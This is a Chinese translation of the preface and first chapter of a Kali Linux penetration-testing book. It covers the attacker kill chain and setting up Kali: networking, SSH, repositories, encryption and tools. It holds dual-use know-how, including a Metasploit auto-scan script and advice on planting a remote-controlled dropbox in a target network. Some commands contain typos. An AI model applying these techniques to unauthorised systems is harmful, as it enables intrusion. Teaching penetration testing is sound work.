精通-Kali-Linux-高级渗透测试(全)

精通 Kali Linux 高级渗透测试(全)

原文:annas-archive.org/md5/2DEEA011D658BEAFD40C40F1FA9AC488

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书致力于使用 Kali Linux 对网络进行渗透测试。渗透测试模拟了恶意的外部或内部人员对网络或系统的攻击。与漏洞评估不同,渗透测试旨在包括利用阶段。因此,它证明了利用是存在的,并且伴随着非常真实的被攻击的风险,如果不加以处理。

注意

在本书中,我们将“渗透测试人员”、“攻击者”和“黑客”互换使用,因为他们使用相同的技术和工具来评估网络和数据系统的安全性。他们之间唯一的区别是他们的最终目标——一个安全的数据网络,或者数据泄露。

大多数测试人员和攻击者遵循非正式的、开源的或专有的定义的测试方法,指导测试过程。遵循方法论有一定的优势:

  • 方法确定了测试过程中可以自动化的部分(例如,测试人员可能总是使用 ping 扫描来识别潜在目标;因此,这可以被脚本化),允许测试人员专注于发现和利用漏洞的创造性技术

  • 结果是可重复的,允许它们随时间进行比较,或者交叉验证一个测试人员的结果与另一个测试人员的结果,或者确定目标的安全性随时间改善(或没有!)。

  • 定义好的方法论在时间和人员需求方面是可预测的,可以控制和最小化成本

  • 已经得到客户预先批准的方法,可以保护测试人员免受网络或数据损害的责任

正式的方法包括以下著名的例子:

  • Kevin Orrey 的渗透测试框架:该方法论指导测试人员按顺序进行渗透测试的步骤,并提供工具和相关命令的超链接。更多信息可以在www.vulnerabilityassessment.co.uk找到。

  • 信息系统安全评估框架(ISSAF):这个全面的指南旨在成为测试网络的单一来源。更多信息可以在www.oissg.org找到。

  • NIST SP 800-115,信息安全测试和评估技术指南:这是 2008 年编写的,四步方法有些过时。然而,它确实提供了渗透测试基本步骤的良好概述。你可以在csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf获得更多信息。

  • 开放源安全测试方法手册(OSSTMM):这是较早的方法之一,最新版本试图量化确定的风险。更多细节可以在www.osstmm.org找到。

  • 开放 Web 应用安全项目(OWASP):这个项目专注于 Web 应用程序中最常见的 10 个漏洞。更多信息可以在www.owasp.org找到。

  • 渗透测试执行标准(PTES):这个方法论是经过积极维护的,完整地准确反映了恶意人员的活动。你可以在www.pentest-standard.org获得更多信息。

  • 攻击性(Web)测试框架(OWTF):该框架于 2012 年推出,将 OWASP 方法与更完整严格的 PTES 方法相结合,是一个非常有前途的方向。更多细节可以在github.com/7a/owtf找到。

不幸的是,使用结构化的方法可能会在测试过程中引入弱点:

  • 方法很少考虑进行渗透测试的原因,或者业务中哪些数据是关键的,需要受到保护。在缺乏这一重要的第一步的情况下,渗透测试失去了焦点。

  • 许多渗透测试人员不愿意遵循定义的方法论,担心这会阻碍他们在利用网络方面的创造力。

  • 渗透测试未能反映恶意攻击者的实际活动。客户经常希望看到您是否能够在特定系统上获得管理访问权限(“您能够获取系统的 root 权限吗?”)。然而,攻击者可能专注于以不需要 root 访问权限的方式复制关键数据,或者造成拒绝服务。

为了解决正式测试方法中固有的限制,它们必须集成在一个从攻击者的角度看待网络的框架中,“杀伤链”。

渗透测试的“杀伤链”方法

2009 年,洛克希德·马丁公司 CERT 的 Mike Cloppert 提出了现在被称为“攻击者杀伤链”的概念。这包括对手在攻击网络时采取的步骤。它并不总是按线性流程进行,因为一些步骤可能同时发生。可能会在同一目标上随时间启动多次攻击,并且可能同时发生重叠阶段。

在本书中,我们修改了 Cloppert 的杀伤链,以更准确地反映攻击者在利用网络和数据服务时如何应用这些步骤。以下图表显示了攻击者的典型杀伤链:

渗透测试的“杀伤链”方法

攻击者的典型杀伤链可以描述如下:

  • 侦察阶段 - 大多数军事组织采用的格言“侦察时间永远不会浪费时间”承认在与敌人交战之前尽可能多地了解敌人是更好的。出于同样的原因,攻击者在攻击之前将对目标进行广泛的侦察。事实上,据估计,至少 70%的渗透测试或攻击的“工作任务”都花在进行侦察上!通常,他们将使用两种类型的侦察:

  • 被动侦察 - 这不会以敌对的方式直接与目标互动。例如,攻击者将查看公开可用的网站,评估在线媒体(尤其是社交媒体网站),并尝试确定目标的“攻击面”。

一个特定的任务将是生成过去和现在员工姓名的列表。这些姓名将成为暴力破解或猜测密码的尝试的基础。它们也将用于社会工程攻击。

这种类型的侦察很难,甚至不可能与常规用户的行为区分开来。

  • 主动侦察 - 这可以被目标检测到,但很难将大多数在线组织的面孔与常规背景区分开来。

在主动侦察期间发生的活动包括对目标场所的实际访问、端口扫描和远程漏洞扫描。

  • 交付阶段 - 交付是选择和开发将用于攻击期间完成利用的武器。选择的确切武器将取决于攻击者的意图以及交付途径(例如,通过网络、无线或通过基于 Web 的服务)。交付阶段的影响将在本书的后半部分进行检查。

  • 利用或妥协阶段 - 这是特定利用成功应用的时刻,允许攻击者达到他们的目标。妥协可能发生在单个阶段(例如,利用已知的操作系统漏洞使用缓冲区溢出),也可能是多阶段妥协(例如,攻击者物理访问场所窃取公司电话簿。这些姓名被用来创建用于针对门户登录的暴力攻击的列表。此外,向所有员工发送电子邮件,要求点击嵌入链接以下载篡改其计算机的 PDF 文件。)。当恶意攻击者针对特定企业时,多阶段攻击是常态。

  • 利用后:对目标的行动 - 这经常被错误地称为“外泄阶段”,因为人们只关注将攻击视为窃取敏感数据(如登录信息、个人信息和财务信息)的途径;攻击者可能有不同的目标。例如,一家企业可能希望在竞争对手的网络中造成拒绝服务,以吸引客户访问自己的网站。因此,这个阶段必须关注攻击者的许多可能行动。

最常见的利用活动之一是,攻击者试图提高他们的访问权限到最高可能的水平(垂直升级),并妥协尽可能多的帐户(水平升级)。

  • 利用后:持久性 - 如果妥协网络或系统具有价值,那么如果可以持续访问,这个价值很可能会增加。这使攻击者能够与被妥协的系统保持通信。从防御者的角度来看,这通常是最容易检测到的 kill chain 的部分。

Kill chains 是攻击者在试图 compromise 网络或特定数据系统时的行为元模型。作为元模型,它可以包含任何专有或商业渗透测试方法。然而,与方法论不同的是,它确保了对攻击者如何接近网络的战略级关注。对攻击者活动的关注将指导本书的布局和内容。

本书涵盖的内容

本书分为两个部分。在第一部分中,攻击者的 Kill Chain,我们将按照 kill chain 的步骤,详细分析每个阶段。在第二部分中,交付阶段,我们将专注于交付阶段和一些可用的方法,以了解攻击是如何发生的,以及如何利用这些知识来保护网络。

第一章, 开始使用 Kali Linux,向读者介绍了 Kali Linux 的基础知识,以及支持渗透测试的最佳配置。

第二章, 确定目标-被动侦察,提供了如何利用公开可用的来源收集有关目标的信息以及可以简化侦察和信息管理的工具的背景。

第三章, 主动侦察和漏洞扫描,向读者介绍了可以用来获取有关目标的信息的隐秘方法,特别是识别可能被利用的漏洞的信息。

第四章, 利用,演示了可以用来查找和执行允许攻击者妥协系统的利用的方法。

第五章,“后期利用-对目标的行动”,描述了攻击者如何提升其权限以实现其对系统的妥协目标,包括窃取数据、更改数据、发动额外攻击或创建拒绝服务。

第六章,“后期利用-持久性”,提供了如何配置被攻陷的系统,以便攻击者可以随意返回并继续后期利用活动的背景知识。

第七章,“物理攻击和社会工程”,演示了为什么能够物理访问系统或与管理系统的人类进行交互提供了最成功的利用途径。

第八章,“利用无线通信”,演示了如何利用常见的无线连接来访问数据网络和隔离系统。

第九章,“对基于 Web 的应用程序进行侦察和利用”,提供了一个简要概述,即如何保护最复杂的交付阶段之一:暴露在公共互联网上的基于 Web 的应用程序。

第十章,“利用远程访问通信”,提供了一个越来越重要的进入系统的途径,因为越来越多的组织采用依赖于远程访问通信的分布式和远程办公模式,这些通信本身容易受到攻击。

第十一章,“客户端利用”,重点介绍了针对最终用户系统上的应用程序的攻击,这些系统通常没有得到与组织主要网络相同程度的保护。

附录,“安装 Kali Linux”,提供了如何安装 Kali Linux 以及如何使用整个磁盘加密来避免机密测试数据被拦截的概述。

本书需要什么

为了实践本书中提出的材料,您将需要诸如 VMware 或 VirtualBox 之类的虚拟化工具。

您将需要下载和配置 Kali Linux 操作系统及其套件工具。为了确保其是最新的,并且您拥有所有工具,您将需要接入互联网。

遗憾的是,Kali Linux 系统上的并非所有工具都会被介绍,因为它们太多了。本书的重点不是让读者被所有工具和选项淹没,而是提供一种测试方法,让他们有机会随着经验和知识的变化学习和整合新的工具。

尽管本书中大多数示例都集中在 Microsoft Windows 上,但方法和大多数工具都可以转移到其他操作系统,如 Linux 和其他 Unix 版本。

最后,本书应用 Kali 来完成对目标系统的攻击链。您将需要一个目标操作系统。本书中的许多示例使用 Microsoft Windows XP。尽管它在 2014 年 4 月已被弃用,但它为许多工具提供了标准行为的“基线”。如果您知道如何将方法应用于一个操作系统,您就可以将其应用于更近期的操作系统,如 Windows 7 和 Windows 8。

本书适合谁

本书适用于想要了解更多关于数据安全的人。特别是,它针对的是那些想要了解在使用特定工具时为什么使用它们的人,而不是那些试图尽可能多地向系统投放工具以查看是否会发生漏洞利用的人。我的目标是让读者制定自己的方法和途径进行有效的渗透测试,这将使他们在进步的过程中进行实验和学习。我相信这种方法是了解恶意人员如何攻击数据系统的唯一有效方式,因此也是了解如何在漏洞被利用之前进行调解的唯一方式。

如果您是安全专业人士、渗透测试人员,或者对复杂数据环境的安全感兴趣,那么这本书适合您。

约定

在本书中,您会发现一些文本样式,用于区分不同类型的信息。以下是一些样式的示例,以及它们的含义解释。

文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄都显示如下:“在这种情况下,VM 被分配了 IP 地址192.168.204.132。”

代码块设置如下:

# MSF port scanner
onhost_add {
  println("[*] MSF Port Scanner New Host OpenPorts on$1");
  $console = console();
  cmd($console, "use auxiliary/scanner/portscan/tcp");
  cmd($console, "set THREADS 12");
  cmd($console, "set PORTS 139, 143");
  # enter other ports as required
  cmd($console, "set RHOSTS $1");
  cmd($console, "run -j");
  cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
  cmd($console, "set THREADS 12");
  cmd($console, "set BATCHSIZE 256");
  cmd($console, "set RHOSTS $1");
  cmd($console, "run -j");
  db_sync(); 
}

任何命令行输入或输出都以以下形式编写:

root@kali~# update-rc.d networking defaults

新术语重要单词以粗体显示。例如,屏幕上显示的单词,菜单或对话框中的单词等,都会以这种形式出现在文本中:“如果您双击truecrypt1图标,您将进入文件浏览器视图。”

注意

警告或重要说明会以以下形式出现在方框中。

提示

技巧和窍门会以以下形式出现。

第一部分:攻击者的杀伤链

从 Kali Linux 开始

识别目标-被动侦察

主动侦察和漏洞扫描

利用

后期利用-对目标的行动

后期利用-持久性

第一章:从 Kali Linux 开始

Kali Linux(Kali)是 BackTrack 渗透测试平台的继任者,通常被认为是用于保护数据和语音网络的渗透测试的事实标准工具包。本章介绍了 Kali,并侧重于定制 Kali 以支持渗透测试的一些高级方面。通过本章的学习,您将学到:

  • Kali 概述

  • 配置网络服务和安全通信

  • 更新 Kali

  • 定制 Kali

  • 使用第三方应用程序扩展 Kali 的功能

  • 有效管理渗透测试

Kali Linux

BackTrack(BT)(www.offensive-security.com)发布,提供了广泛的渗透测试和防御工具,非常适合对网络进行评估和保护的审计员和网络管理员。授权和未经授权(黑客)渗透测试人员都使用相同的工具。

BackTrack 的最终版本 BT 5r3 于 2012 年 8 月发布。基于 Ubuntu Linux 平台,它被安全社区广泛采用和支持。不幸的是,它的文件架构使得难以管理各种工具及其相关依赖。

在 BackTrack 中,用于渗透测试的所有工具都放在/pentest 目录中。子文件夹如/web 或/database 有助于进一步定义工具的位置。在这种层次结构中查找和执行工具可能是不直观的。例如,用于识别 SQL 注入的 sqlninja 是 Web 漏洞评估工具、Web 利用工具还是数据库利用工具?

2013 年 3 月,BackTrack 被 Kali Linux 取代,后者使用基于 Debian GNU/Linux 操作系统的新平台架构。

Debian 遵循文件系统层次结构标准(FHS),这是与 BackTrack 相比的一个重要优势。不需要在/pentest 树中导航,因为应用程序包含在系统路径中,可以从系统的任何位置调用工具。

Kali 的其他特性包括:

  • 支持多个桌面环境,如 Gnome、KDE、LXDE 和 XFCE,并提供多语言支持。

  • 符合 Debian 的工具至少每天同步四次,这样更容易更新软件包并应用安全补丁。

  • 支持 ISO 定制,允许用户构建自己的 Kali 版本。引导功能还可以执行企业范围的网络安装,可以使用预先配置文件进行自动化。

  • ARMEL 和 ARMHF 支持使得 Kali 可以安装在树莓派、ODROID-U2/-X2 和三星 Chromebook 等设备上。

  • 包括 300 多个渗透测试数据取证和防御工具。它们提供了广泛的无线支持,通过内核补丁允许一些无线攻击所需的数据包注入。

  • Kali 仍然是一个免费的开源项目。最重要的是,它得到了活跃的在线社区的支持。

在本书中,我们将使用 64 位 Kali 的 VMware 虚拟机(参见附录,安装 Kali Linux中有有关安装 Kali 的说明)。

使用 VM 是因为它可以轻松地在其他操作系统中快速执行某些应用程序,比如 Microsoft Windows。此外,可以使用 VM 存档进行渗透测试的结果,以便审查存档,以确定特定漏洞是否会被用于测试的工具集检测到。

启动 Kali 时,用户将进入默认的桌面 GUI,顶部有一个菜单栏和一些简单的图标。通过选择菜单项应用程序,然后Kali Linux,用户将获得一个包含前 10 个安全工具以及一系列文件夹的菜单系统,这些文件夹按照渗透测试中的一般顺序进行组织,如下截图所示:

Kali Linux

注意

该菜单对于 BT 5r3 的用户来说是熟悉的。然而,有一些变化,包括简化了对网络服务和通信的访问。

配置网络服务和安全通信

使用 Kali 的第一步是确保它能够连接到有线或无线网络,以支持更新和定制。

您可能需要通过DHCP动态主机配置协议)获取 IP 地址,或者静态分配一个 IP 地址。首先,使用终端窗口中的ifconfig命令确认您的 IP 地址,如下截图所示:

配置网络服务和安全通信

在这种特殊情况下,VM 被分配了 IP 地址192.168.204.132。如果没有获得 IP 地址,可以使用命令dhclient eth0(或其他可用接口,这将取决于所使用系统的具体配置)通过 DHCP 分配地址。

如果使用静态 IP 地址,可能需要额外的信息。例如,您可以分配静态 IP192.168.204.128如下:

 host IP address:    192.168.204.128
 subnet mask:  255.255.255.0
 default gateway:  192.168.204.1
 DNS server:    192.168.204.10

输入终端窗口并输入以下命令:

root@kali:~#  ifonconfig eth0 192.168.204.128/24
root@kali:~#  route add default gw 192.168.204.1
root@kali:~#  echo nameserver 192.168.204.10 > /etc/resolv.conf

对 IP 设置的更改是非持久的,在 Kali 重新启动时将丢失。要使更改永久生效,您需要编辑/etc/network/interfaces文件,如下截图所示:

配置网络服务和安全通信

默认情况下,Kali 不会启用 DHCP 服务。这样做会在网络上宣布新的 IP 地址,这可能会提醒管理员有测试者的存在。对于某些测试案例,这可能不是一个问题,而且在启动时自动启动某些服务可能是有利的。可以通过输入以下命令来实现这一点:

root@kali~# update-rc.d networking defaults
root@kali~# /etc/init.d/networking restart

Kali 安装了可以根据需要启动或停止的网络服务,包括 DHCP、HTTP、SSH、TFTP 和 VNC 服务器。这些服务通常是从命令行调用的,但是有些可以从 Kali 菜单中访问。

调整网络代理设置

位于经过身份验证或未经身份验证的代理连接后的用户必须修改bash.bashrcapt.conf。这两个文件位于/root/etc目录中。

  1. 编辑bash.bashrc文件,如下截图所示,使用文本编辑器将以下行添加到bash.bashrc文件的底部:
export ftp_proxy="ftp://user:password@proxyIP:port"
export http_proxy="http://user:password@proxyIP:port"
export https_proxy="https://user:password@proxyIP:port"
export socks_proxy="https://user:password@proxyIP:port"

调整网络代理设置

  1. 用你的代理 IP 地址和端口号分别替换proxyIPport,用你的认证用户名和密码替换用户名和密码。如果不需要进行身份验证,只需写@符号后面的部分。

  2. 在同一目录中,创建apt.conf文件并输入以下命令行,如下截图所示:调整网络代理设置

  3. 保存并关闭文件。注销然后重新登录以激活新设置。

使用安全外壳保护通信

为了在测试期间最大程度地减少目标网络的检测,Kali 不会启用任何外部监听网络服务。一些服务,如安全外壳SSH),已经安装。但是,在使用之前必须启用它们。

Kali 预先配置了默认的 SSH 密钥。在启动 SSH 服务之前,最好禁用默认密钥并生成用于使用的唯一密钥集。

将默认的 SSH 密钥移动到备份文件夹,然后使用以下命令生成新的 SSH 密钥集:

dpkg-reconfigure openssh-server

将原始密钥移动并生成新密钥集的过程如下截图所示。

使用安全外壳保护通信

要验证新生成的密钥是否唯一,请计算它们的md5sum哈希值,并与原始密钥进行比较,如下截图所示。

使用安全外壳保护通信

要使用菜单启动 SSH 服务,请选择应用程序 | Kali Linux | 系统服务 | SSHD | SSHD 启动

要从命令行启动 SSH,请使用以下截图中显示的命令行:

使用安全外壳保护通信

要验证 SSH 是否正在运行,请执行netstat查询,如下截图所示:

使用安全外壳保护通信

在上一个示例中,SSH 守护程序正在端口 22 上监听。要停止 SSH,请使用以下命令:

/etc/init.d/ssh stop

更新 Kali Linux

必须定期修补 Kali,以确保基本操作系统和应用程序是最新的,并且已应用安全补丁。

Debian 软件包管理系统

Debian 的软件包管理系统依赖于称为软件包的离散捆绑应用程序。用户可以安装或删除软件包以定制环境,并支持诸如渗透测试之类的任务。它们还可以扩展 Kali 的功能,支持通信(Skype、即时通讯和安全电子邮件)或文档(在 Wine 下运行的 OpenOffice 和 Microsoft Office)等任务。

软件包存储在存储库中,并下载到系统用户以确保软件包的完整性。

软件包和存储库

默认情况下,Kali 仅使用官方 Kali 存储库。可能由于安装过程不完整而未将存储库添加到正确的sources.list文件中,或者您可能希望在添加新应用程序时扩展可用的存储库。

可以通过命令行(echo deb http://http.kali.org/kiali kali main contrib non-free >> /etc/apt/sources.list)或使用文本编辑器来更新source.list文件。

应该存在于/etc/apt/sources.list中的默认软件包存储库如下所示;如果不存在,请编辑 sources.list 文件以包括它们:

 ## Kali deb http://http.kali.org/kali kali main contrib non-free
 ## Kali-dev deb http://http.kali.org/kali kali-dev main contrib non-free
 ## Kali Security updates deb http://security.kali.org/kali-security kali/updates maincontrib non-free

并非所有 Kali 工具都目前在官方工具存储库中维护。如果选择手动更新工具,则可能会覆盖现有的打包文件并破坏依赖关系。因此,一些尚未正式移至 Debian 存储库的工具,如aircrack-ngdnsreconsqlmapbeef-xss和社会工程工具包(se-toolkit),都在 Bleeding Edge 存储库中维护。可以使用以下命令将此存储库添加到sources.list中:

 ## Bleeding Edge repository deb http://repo.kali.org/kali kali kali-bleeding-edge main

Dpkg

Dpkg 是 Debian 的软件包管理系统。这个命令行应用程序用于安装、删除和查询软件包。一般来说,dpkg对单个软件包执行操作。

提示

dpkg在 Kali 中编译已安装应用程序列表时特别有用,使用命令dpkg -l > list.txt。如果要知道特定工具是否已安装,请使用dpkg -l | grep <tool name>

以下屏幕截图显示了调用 dpkg -l 时返回数据的摘录,提供了 Kali 发行版上安装的所有应用程序的列表;这在识别可能仅可以直接从命令行访问的应用程序方面特别有用。

Dpkg

使用高级打包工具

高级打包工具APT)通过搜索存储库并安装或升级软件包以及所有所需的依赖项,扩展了dkpg的功能。 APT 还可以用于升级完整的发行版。

最常见的apt命令如下:

  • apt-get update:用于将本地软件包索引文件与/etc/apt/sources.list中定义的源重新同步。在执行upgradedist-upgrade之前,应始终首先使用update命令。

  • apt-get upgrade:用于安装系统上已安装的所有软件包的最新版本,使用/etc/apt/sources.list。在 Kali 上安装了新版本的软件包将被升级。升级命令不会更改或删除未升级的软件包,并且不会安装尚未存在的软件包。

  • apt-get dist-upgrade:这将升级系统上当前安装的所有软件包及其依赖项。它还会从系统中删除过时的软件包。

apt-get命令还可用于显示软件包的完整描述并识别其依赖项(apt-cache show <package name>)或删除软件包(apt-get remove <package name>)。

注意

在启动时运行apt-get update命令和upgrade命令,以确保会话使用最新的工具。最简单的方法是创建一个包含以下命令行的update.sh脚本:

apt-get update && apt-get upgrade –y && apt-get dist-upgrade –y

某些应用程序不会被apt-get命令升级。例如,exploit-db存档的本地副本必须手动升级。创建一个名为update.sh的脚本,并将以下命令添加到其中,以自动化更新过程:

 cd /usr/share/exploitdb
 wget http://www.exploit-db.com/archive.tar.bz2
 tar –xvjf archive.tar.bz2
 rm archive.tar.bz2

配置和自定义 Kali Linux

Kali 是一个用于完成渗透测试的框架。但是,测试人员不应该感到受限于默认安装的工具,或者受限于 Kali 桌面的外观和感觉。通过自定义 BackTrack,测试人员可以增加正在收集的客户数据的安全性,并使渗透测试变得更加容易。

对 Kali 进行的常见自定义包括:

  • 重置 root 密码

  • 添加非 root 用户

  • 加快 Kali 操作

  • 与 MS Windows 共享文件夹

  • 创建加密文件夹

重置 root 密码

要更改用户密码,请使用以下命令:

passwd root

然后将提示输入新密码,如下图所示:

重置 root 密码

添加非 root 用户

Kali 中提供的许多应用程序必须以 root 级别权限运行才能正常工作。 root 级别权限确实存在一定的风险,例如,输入错误的命令或使用错误的命令可能会导致应用程序失败,甚至损坏正在测试的系统。在某些情况下,最好使用用户级别权限进行测试。实际上,有些应用程序强制使用较低权限的帐户。

要创建非 root 用户,只需从终端使用adduser命令并按照出现的说明进行操作,如下图所示:

添加非 root 用户

加快 Kali 操作

有几种工具可用于优化和加快 Kali 操作:

  • 在使用虚拟机时,安装 VM 的软件驱动程序包:Guest Additions(VirtualBox)或 VMware Tools(VMware)。

  • 在创建虚拟机时,选择固定的磁盘大小,而不是动态分配的磁盘大小。向固定磁盘添加文件更快,文件碎片更少。

  • preload 应用程序(apt-get install preload)识别用户最常用的程序,并预加载二进制文件和依赖项到内存中,以提供更快的访问。安装后第一次重启后会自动运行。

  • BleachBit(apt-get install bleachbit)通过释放缓存,删除 cookie,清除互联网历史记录,销毁临时文件,删除日志和丢弃其他不必要的文件来释放磁盘空间并提高隐私。高级功能包括销毁文件以防止恢复和擦除空闲磁盘空间以隐藏未完全删除的文件的痕迹。

  • 默认情况下,Kali 不显示启动菜单中存在的所有应用程序。在启动过程中安装的每个应用程序都会减慢系统数据,并可能影响内存使用和系统性能。安装启动管理器BUM)以禁用在启动期间启用的不必要的服务和应用程序(apt-get install bum),如下图所示:加速 Kali 操作

注意

虚拟机使用不同的菜单标题,但流程是一样的。

  1. 在 Kali 桌面上打开文件浏览器。共享文件夹将显示在mnt文件夹中(可能放在子文件夹hgfs中)。

  2. 将文件夹拖到 Kali 桌面上,以创建到真实文件夹的链接。

  3. 放入文件夹的所有内容将在主机操作系统上同名的文件夹中可访问,反之亦然。

共享文件夹中将包含来自渗透测试的敏感数据,必须加密以保护客户的网络,并减少测试人员的责任,如果数据丢失或被盗。

使用 TrueCrypt 创建加密文件夹

在渗透测试期间,您将可以访问敏感的客户信息,包括可利用的漏洞和成功突破的数据副本。测试人员的法律和道德责任是确保他所掌握的这些信息始终得到保护。满足这一责任的最佳方式是确保所有客户信息在存储和传输过程中都进行加密。

要在 BackTrack 上安装 TrueCrypt,请完成以下步骤:

  1. 应用程序菜单中,选择附件 | TrueCrypt

  2. 要创建加密文件夹,请打开应用程序。您将看到主菜单,如下截图所示:使用 TrueCrypt 创建加密文件夹

  3. 在主菜单中,选择创建 按钮。这将启动TrueCrypt 卷 创建向导,如下截图所示:使用 TrueCrypt 创建加密文件夹

  4. 选择创建加密文件容器,然后点击下一步

  5. 下一个屏幕将提示卷类型,选择标准 TrueCrypt 卷,然后点击下一步

  6. 位置屏幕上,选择选择文件。您将被要求通过提供名称并指示它将保存在指定文件夹中来指定新的 TrueCrypt 卷,如下截图所示:使用 TrueCrypt 创建加密文件夹

  7. 选择一个文件名。不要选择与正在测试的客户相关的文件名,或者表明目录中存在敏感材料的文件名。使用一个数字或代码词来代表客户,以及一个通用的标题来表示结果。将文件保存在桌面上,然后点击下一步

  8. 下一个屏幕将为您提供加密选项。从下拉菜单中选择加密算法。有几种选择,但对于常规目的,AES(默认的 256 位密钥)就足够了。您还将从下拉菜单中选择哈希算法(默认情况下,RIPEMD-160应该足够)。选择完成后,点击下一步按钮,如下截图所示:使用 TrueCrypt 创建加密文件夹

  9. 现在将提示您输入卷大小。最小大小应该约为 500 MB,但这可能会根据测试方案而有所不同。点击下一步

  10. 应根据强密码的规则选择卷密码。选择并确认密码,然后点击下一步,如下截图所示:使用 TrueCrypt 创建加密文件夹

  11. 下一个屏幕允许您选择格式选项。对于文件系统选项,从下拉菜单中选择FAT。点击下一步

  12. 下一个屏幕 格式,为加密文件系统创建一个随机密钥。密钥基于鼠标移动,并且您将被提示在窗口上移动鼠标一段时间以确保加密密钥的随机性(密码学强度)。完成后,点击格式化以创建 TrueCrypt 卷。

  13. 最终的卷已经创建。它将显示为桌面上的图标。该卷已加密,可以复制到外部存储设备或移动到主机系统并保持加密状态。

要使用加密卷,您必须首先选择主TrueCrypt菜单中管理加密文件夹的插槽。完成后,使用选择文件按钮选择加密文件的名称。在这种情况下,我们将使用桌面上以前创建的名为pentest的文件,如下截图所示:

使用 TrueCrypt 创建加密文件夹

点击挂载按钮。此时,将提示您输入密码,如下截图所示:

使用 TrueCrypt 创建加密文件夹

输入正确的密码后,您将看到Slot 1的详细信息会发生变化,以反映加密文件夹的属性,并且在桌面上会显示一个名为truecrypt1的新图标,如下面的屏幕截图所示:

使用 TrueCrypt 创建加密文件夹

如果您双击truecrypt1图标,您将进入文件浏览器视图。

在这一点上,它将作为一个常规目录,您可以使用该文件夹来存储所有与测试相关的信息。当您使用文件夹的内容,并希望确保所有数据都是加密的时候,在主菜单上选择卸载。文件夹将恢复到加密状态。

管理第三方应用程序

尽管 Kali 预装了几百个应用程序,但您可能需要安装其他应用程序来有效地测试特定环境(如工业系统),添加新的尖端工具,或确保您安装了最喜欢的工具。Kali 使得定位、安装和管理这些工具变得容易。

安装第三方应用程序

安装第三方应用程序有多种方法:使用apt-get命令,访问 GitHub 存储库,直接安装应用程序。

所有工具都应该使用apt-get install命令从 Kali Linux 存储库安装。install命令可以在终端窗口的命令行中执行,或者用户可以选择一个图形化的软件包管理工具。

推荐的第三方应用程序包括:

  • apt-file:这是一个命令行工具,用于在 APT 包装系统的软件包中搜索。它允许您列出软件包的内容,而无需安装或获取它。

  • gnome-tweak-tool:这允许用户更改主题并快速配置桌面选项。

  • instanbul:这是一个桌面屏幕录制工具,允许您制作桌面活动的电影。

  • openoffice:这是一个开源的办公生产力套件,用于文档编制。

  • scrub:这是一个安全删除(反取证)工具,可以使用各种覆盖模式安全删除数据,以符合严格的政府标准。

  • shutter:这是一个截图工具,可以捕捉桌面、打开窗口或选择的图像。

  • team viewer:这支持远程访问和远程管理。它还允许测试人员将预先配置的计算机(一个 dropbox)放在目标网络上,并从远程位置控制测试。

  • terminator:这是 Linux 终端窗口的替代品,允许水平滚动 - 不再有换行文本!

不在 Debian 存储库中的工具,可以通过apt-get install访问,仍然可以安装在 Kali 上。但是,用户必须接受手动安装与存储库不协调,并且可能会破坏依赖关系,导致应用程序失败。

一些工具使用 GitHub 在线存储库进行软件开发项目。许多开发人员青睐这个开放存储库,因为 Git 修订系统的灵活性以及软件站点的社交媒体方面。我们将使用的一个工具是recon-ng,一个网络侦察框架。

要从 GitHub 存储库克隆当前版本的recon-ng,请使用以下命令行:

cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
cd opt/recon-ng
./recon-ng.py

最后,一些应用程序必须手动安装。例如,要恢复异步端口扫描程序 Unicornscan,可以返回到 Kali,您必须:

  • 确保首先存在依赖项:apt-get install flex

  • 下载 Unicornscan 的最新版本(www.unicornscan.org - 当前版本是 unicornscan-0.4.7-2)

  • 将文件内容提取到一个新目录:tar jxf unicornscan-0.4.7-2.tar.bz2

  • 切换到包含 Unicornscan 的目录:cd unicornscan-0.4.7/

  • 编译源代码:./configure CFLAGS=-D_GNU_SOURCE && make && make install

确切的依赖关系和安装过程将因应用程序而异,因此您需要参考开发者的README文件,以确保正确安装和配置这些应用程序。

以非 root 权限运行第三方应用程序

Kali Linux 旨在支持渗透测试。大多数工具需要 root 级别访问权限,这就是为什么工具集和数据的访问受到密码和加密保护的原因。

然而,一些第三方工具并不意味着以 root 级别权限运行。诸如 web 浏览器之类的工具可能会受到损害,并且给攻击者访问 root 权限可能会产生重大的安全影响。

如果不需要 root 访问权限,工具应该遵循最小特权原则,并作为非 root 用户运行。

要运行通常作为非 root 用户运行的应用程序,请使用 root 帐户登录 Kali。Kali 应该配置为使用非 root 帐户。在本例中,我们将使用之前使用adduser命令创建的noroot帐户。

运行 web 浏览器 Iceweasel 作为非 root 用户执行以下步骤:

  1. 创建一个非 root 用户帐户。在本例中,我们将使用noroot

  2. 我们将使用sux,这是一个包装应用程序,它将凭据从特权用户传输到目标非 root 用户。使用apt-get install命令下载和安装sux

  3. 启动 web 浏览器,然后将其最小化。

  4. 输入命令行:ps aux |grep iceweasel。如您所见,Iceweasel 正在以 root 权限运行。

  5. 关闭 Iceweasel,并使用命令sux - noroot iceweasel重新启动,如下面的屏幕截图所示:以非 root 权限运行第三方应用程序

如果您检查 Iceweasel 标题栏,如下面的屏幕截图所示,您将看到它被调用为用户noroot,这是一个没有管理员特权的帐户。

以非 root 权限运行第三方应用程序

您还可以通过检查打开的进程来确认 Iceweasel 是否在noroot帐户下运行,如下面的屏幕截图所示:

以非 root 权限运行第三方应用程序

渗透测试的有效管理

渗透测试中最困难的部分之一是记住测试网络或系统目标的所有相关部分,或者在测试完成后尝试记住目标是否实际上已经被测试过。

BT 5r3 强调使用管理工具,如 Draedis 和 MagicTree。这些工具通过提供测试数据的中央存储库来促进组测试。此外,它们通常提供一些框架,以便测试人员知道他们在测试方法论中的位置,以及还有哪些测试尚未完成。这类工具在协调漏洞评估或渗透测试期间定义的组活动方面非常出色。

这些工具保留在应用程序 | Kali Linux | 报告工具 | 证据管理菜单中。

但是对于复杂的渗透测试,方法可能更加灵活,因为它适应网络目标呢?

一些测试人员在测试期间使用键盘记录器或 Wireshark 来记录测试期间生成的按键和数据包流量。如果测试导致网络或应用程序中断,这些数据可能特别有用,因为重放和分析发送的数据包可以确定哪些数据包工具影响了网络。

Kali Linux 包括几个工具,更适合快速记录笔记并作为快速添加剪切和粘贴数据的存储库,包括 KeepNote 和 Zim 桌面 wiki。

